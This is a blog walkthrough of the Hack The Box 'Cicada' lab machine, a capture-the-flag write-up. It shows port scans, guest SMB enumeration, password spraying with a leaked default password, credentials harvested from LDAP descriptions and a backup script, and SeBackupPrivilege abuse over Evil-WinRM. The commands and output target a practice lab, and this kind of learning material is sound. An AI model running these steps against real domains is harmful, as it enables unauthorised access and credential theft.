Cicada Walkthrough: Exploiting Shared Access from Guest User Privileges
Walkthrough of HTB's Cicada machine
Cicada Walkthrough: Exploiting Shared Access from Guest User Privileges
Recon
To begin the reconnaissance phase, a full port scan was conducted using Nmap to identify open TCP ports on the target. The scan was optimized for speed and aimed at discovering all ports:
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sudo nmap -T5 -sS -n -Pn --disable-arp-ping -p- 10.10.11.35 --max-retries 0
Explanation of Key Arguments:
-T5: Maximizes scan speed.-sS: Conducts a SYN scan, initiating a TCP handshake without completing it for stealthiness.-n: Disables DNS resolution, reducing the time taken.-Pn: Skips host discovery, assuming the host is online.-p-: Scans all 65535 ports.
Scan Results and Observations
The scan identified several open ports, which are commonly found on Windows Domain Controllers and associated with Microsoft services:
| Port | State | Service |
|---|---|---|
| 53 | open | Domain Name System (DNS) |
| 88 | open | Kerberos Authentication Service |
| 135 | open | Microsoft Remote Procedure Call (RPC) |
| 139 | open | NetBIOS Session Service |
| 389 | open | Lightweight Directory Access Protocol (LDAP) |
| 445 | open | Microsoft Directory Services (SMB) |
| 464 | open | Kerberos Password Change |
| 593 | open | HTTP RPC Endpoint Mapper |
| 636 | open | Secure LDAP (LDAPS) |
| 3268 | open | Global Catalog LDAP |
| 3269 | open | Global Catalog LDAP over SSL |
| 49623 | open | Unknown Service |
Notable Ports and Potential Services:
- Port 139/445: Commonly associated with SMB services, which are often vulnerable in misconfigured Windows environments.
- Port 389/636: LDAP and LDAPS are used in Active Directory environments for directory queries and access, useful for user enumeration.
- Port 88: Kerberos, the primary authentication protocol in Windows domains.
Aggressive Nmap Scan for Service and OS Detection
To get more detailed information about the services running on these ports and to attempt operating system detection, an aggressive Nmap scan was conducted:
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sudo nmap -T5 -A --disable-arp-ping -p 53,88,135,139,389,445,464,593,636,3268,3269,49263 10.10.11.35
[sudo] password for kali:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-28 11:20 EDT
Nmap scan report for 10.10.11.35
Host is up (0.13s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-10-28 22:08:09Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after: 2025-08-22T20:24:16
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after: 2025-08-22T20:24:16
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after: 2025-08-22T20:24:16
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after: 2025-08-22T20:24:16
49263/tcp filtered unknown
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2022 (89%)
Aggressive OS guesses: Microsoft Windows Server 2022 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: CICADA-DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Results Summary
This scan confirmed that the machine is running as a Windows Domain Controller with Active Directory services enabled. Additionally, SMB signing is enabled and required, indicating a secure configuration for SMB communications.
2. SMB Enumeration
The next step involved enumerating SMB shares and configurations. For this purpose, the tool netexec was utilized to gain an overview of available SMB shares:
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netexec smb 10.10.11.35 -u guest -p '' --shares
SMB 10.10.11.35 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.35 445 CICADA-DC [+] cicada.htb\guest:
SMB 10.10.11.35 445 CICADA-DC [*] Enumerated shares
SMB 10.10.11.35 445 CICADA-DC Share Permissions Remark
SMB 10.10.11.35 445 CICADA-DC ----- ----------- ------
SMB 10.10.11.35 445 CICADA-DC ADMIN$ Remote Admin
SMB 10.10.11.35 445 CICADA-DC C$ Default share
SMB 10.10.11.35 445 CICADA-DC DEV
SMB 10.10.11.35 445 CICADA-DC HR READ
SMB 10.10.11.35 445 CICADA-DC IPC$ READ Remote IPC
SMB 10.10.11.35 445 CICADA-DC NETLOGON Logon server share
SMB 10.10.11.35 445 CICADA-DC SYSVOL Logon server share
With read access granted to the guest user on the ‘HR’ share, I proceeded to enumerate the files within it
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smbclient -N //10.10.11.35/HR
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Thu Mar 14 08:29:09 2024
.. D 0 Thu Mar 14 08:21:29 2024
Notice from HR.txt A 1266 Wed Aug 28 13:31:48 2024
“Notice from HR.txt” has an interesting information
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Dear new hire!
Welcome to Cicada Corp! We're thrilled to have you join our team. As part of our security protocols, it's essential that you change your default password to something unique and secure.
Your default password is: Cicada$M6Corpb*@Lp#nZp!8
To change your password:
1. Log in to your Cicada Corp account** using the provided username and the default password mentioned above.
2. Once logged in, navigate to your account settings or profile settings section.
3. Look for the option to change your password. This will be labeled as "Change Password".
4. Follow the prompts to create a new password**. Make sure your new password is strong, containing a mix of uppercase letters, lowercase letters, numbers, and special characters.
5. After changing your password, make sure to save your changes.
Remember, your password is a crucial aspect of keeping your account secure. Please do not share your password with anyone, and ensure you use a complex password.
If you encounter any issues or need assistance with changing your password, don't hesitate to reach out to our support team at support@cicada.htb.
Thank you for your attention to this matter, and once again, welcome to the Cicada Corp team!
Best regards,
Cicada Corp
We are manage to get an one-time password, which should be changed upon successful login. We are yet to find out valid username for logging in.
FootHold & Privilege escalation
Note: Netexec can also brute-force user accounts.
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netexec smb 10.10.11.35 -u guest -p '' --rid-brute
[*] First time use detected
[*] Creating home directory structure
[*] Creating missing folder logs
[*] Creating missing folder modules
[*] Creating missing folder protocols
[*] Creating missing folder workspaces
[*] Creating missing folder obfuscated_scripts
[*] Creating missing folder screenshots
[*] Creating default workspace
[*] Initializing MSSQL protocol database
[*] Initializing WINRM protocol database
[*] Initializing LDAP protocol database
[*] Initializing SMB protocol database
[*] Initializing SSH protocol database
[*] Initializing VNC protocol database
[*] Initializing WMI protocol database
[*] Initializing FTP protocol database
[*] Initializing RDP protocol database
[*] Initializing NFS protocol database
[*] Copying default configuration file
SMB 10.10.11.35 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.35 445 CICADA-DC [+] cicada.htb\guest:
SMB 10.10.11.35 445 CICADA-DC 498: CICADA\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 500: CICADA\Administrator (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 501: CICADA\Guest (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 502: CICADA\krbtgt (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 512: CICADA\Domain Admins (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 513: CICADA\Domain Users (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 514: CICADA\Domain Guests (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 515: CICADA\Domain Computers (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 516: CICADA\Domain Controllers (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 517: CICADA\Cert Publishers (SidTypeAlias)
SMB 10.10.11.35 445 CICADA-DC 518: CICADA\Schema Admins (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 519: CICADA\Enterprise Admins (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 520: CICADA\Group Policy Creator Owners (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 521: CICADA\Read-only Domain Controllers (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 522: CICADA\Cloneable Domain Controllers (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 525: CICADA\Protected Users (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 526: CICADA\Key Admins (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 527: CICADA\Enterprise Key Admins (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 553: CICADA\RAS and IAS Servers (SidTypeAlias)
SMB 10.10.11.35 445 CICADA-DC 571: CICADA\Allowed RODC Password Replication Group (SidTypeAlias)
SMB 10.10.11.35 445 CICADA-DC 572: CICADA\Denied RODC Password Replication Group (SidTypeAlias)
SMB 10.10.11.35 445 CICADA-DC 1000: CICADA\CICADA-DC$ (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 1101: CICADA\DnsAdmins (SidTypeAlias)
SMB 10.10.11.35 445 CICADA-DC 1102: CICADA\DnsUpdateProxy (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 1103: CICADA\Groups (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 1104: CICADA\john.smoulder (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 1105: CICADA\sarah.dantelia (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 1106: CICADA\michael.wrightson (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 1108: CICADA\david.orelious (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 1109: CICADA\Dev Support (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 1601: CICADA\emily.oscars (SidTypeUser)
Identifying Interesting Users
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SMB 10.10.11.35 445 CICADA-DC 1104: CICADA\john.smoulder (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 1105: CICADA\sarah.dantelia (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 1106: CICADA\michael.wrightson (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 1108: CICADA\david.orelious (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 1601: CICADA\emily.oscars (SidTypeUser)
Verifying Default Passwords for Users
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netexec smb 10.10.11.35 -u email.txt -p 'Cicada$M6Corpb*@Lp#nZp!8'
SMB 10.10.11.35 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\john.smoulder:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\sarah.dantelia:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB 10.10.11.35 445 CICADA-DC [+] cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8
The user michael.wrightson appears to still be using the default password.
Enumerating Shares Accessible by “michael.wrightson”
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netexec smb 10.10.11.35 -u 'michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8' --shares
SMB 10.10.11.35 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.35 445 CICADA-DC [+] cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8
SMB 10.10.11.35 445 CICADA-DC [*] Enumerated shares
SMB 10.10.11.35 445 CICADA-DC Share Permissions Remark
SMB 10.10.11.35 445 CICADA-DC ----- ----------- ------
SMB 10.10.11.35 445 CICADA-DC ADMIN$ Remote Admin
SMB 10.10.11.35 445 CICADA-DC C$ Default share
SMB 10.10.11.35 445 CICADA-DC DEV
SMB 10.10.11.35 445 CICADA-DC HR READ
SMB 10.10.11.35 445 CICADA-DC IPC$ READ Remote IPC
SMB 10.10.11.35 445 CICADA-DC NETLOGON READ Logon server share
SMB 10.10.11.35 445 CICADA-DC SYSVOL READ Logon server share
Leveraging these credentials for further domain enumeration.
Filtering Distinguished Names and Descriptions for Interesting Strings
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ldapsearch -x -H ldap://10.10.11.35 -D 'CICADA\michael.wrightson' -w 'Cicada$M6Corpb*@Lp#nZp!8' -b "DC=cicada,DC=htb" distinguishedName description
Finding Password for “David Orelious”
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# David Orelious, Users, cicada.htb
dn: CN=David Orelious,CN=Users,DC=cicada,DC=htb
description: Just in case I forget my password is aRt$Lp#7t*VQ!3
distinguishedName: CN=David Orelious,CN=Users,DC=cicada,DC=htb
Enumerating Share Access for “David Orelious”
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netexec smb 10.10.11.35 -u 'david.orelious' --password 'aRt$Lp#7t*VQ!3' --shares
SMB 10.10.11.35 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.35 445 CICADA-DC [+] cicada.htb\david.orelious:aRt$Lp#7t*VQ!3
SMB 10.10.11.35 445 CICADA-DC [*] Enumerated shares
SMB 10.10.11.35 445 CICADA-DC Share Permissions Remark
SMB 10.10.11.35 445 CICADA-DC ----- ----------- ------
SMB 10.10.11.35 445 CICADA-DC ADMIN$ Remote Admin
SMB 10.10.11.35 445 CICADA-DC C$ Default share
SMB 10.10.11.35 445 CICADA-DC DEV READ
SMB 10.10.11.35 445 CICADA-DC HR READ
SMB 10.10.11.35 445 CICADA-DC IPC$ READ Remote IPC
SMB 10.10.11.35 445 CICADA-DC NETLOGON READ Logon server share
SMB 10.10.11.35 445 CICADA-DC SYSVOL READ Logon server share
Enumerating Files in the DEV Share with David’s Credentials
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smbclient //10.10.11.35/DEV -U 'david.orelious'
Password for [WORKGROUP\david.orelious]:
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Thu Mar 14 07:31:39 2024
.. D 0 Thu Mar 14 07:21:29 2024
Backup_script.ps1 A 601 Wed Aug 28 12:28:22 2024
Inspecting the Backup Script for Additional Credentials
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cat Backup_script.ps1
$sourceDirectory = "C:\smb"
$destinationDirectory = "D:\Backup"
$username = "emily.oscars"
$password = ConvertTo-SecureString "Q!3@Lp#M6b*7t*Vt" -AsPlainText -Force
$credentials = New-Object System.Management.Automation.PSCredential($username, $password)
$dateStamp = Get-Date -Format "yyyyMMdd_HHmmss"
$backupFileName = "smb_backup_$dateStamp.zip"
$backupFilePath = Join-Path -Path $destinationDirectory -ChildPath $backupFileName
Compress-Archive -Path $sourceDirectory -DestinationPath $backupFilePath
Write-Host "Backup completed successfully. Backup file saved to: $backupFilePath"
The script contains a password for the backup account emily.oscars. The user has READ, WRITE access to C$ share
Logging into the share as “emily.oscars”
Fetching the flag from the user desktop
Logged in to the machine as emily.oscars leveraging “Evil-Winrm”.
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*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> whoami /all
USER INFORMATION
----------------
User Name SID
=================== =============================================
cicada\emily.oscars S-1-5-21-917908876-1423158569-3159038727-1601
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
========================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Backup Operators Alias S-1-5-32-551 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Certificate Service DCOM Access Alias S-1-5-32-574 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label S-1-16-12288
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
USER CLAIMS INFORMATION
-----------------------
User claims unknown.
User emily.oscars has the Backup privilege enabled. Uploading the necessary module to leverage this privilege for replication.
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*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents\Backup> Import-Module .\SeBackupPrivilegeCmdLets.dll
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents\Backup> Import-Module .\SeBackupPrivilegeUtils.dll
Using robocopy to copy the Administrator’s desktop files to a temporary folder.
Accessing root.txt
References
| [SMB Enumeration Cheatsheet | 0xdf hacks stuff](https://0xdf.gitlab.io/cheatsheets/smb-enum) |
This post is licensed under CC BY 4.0 by the author.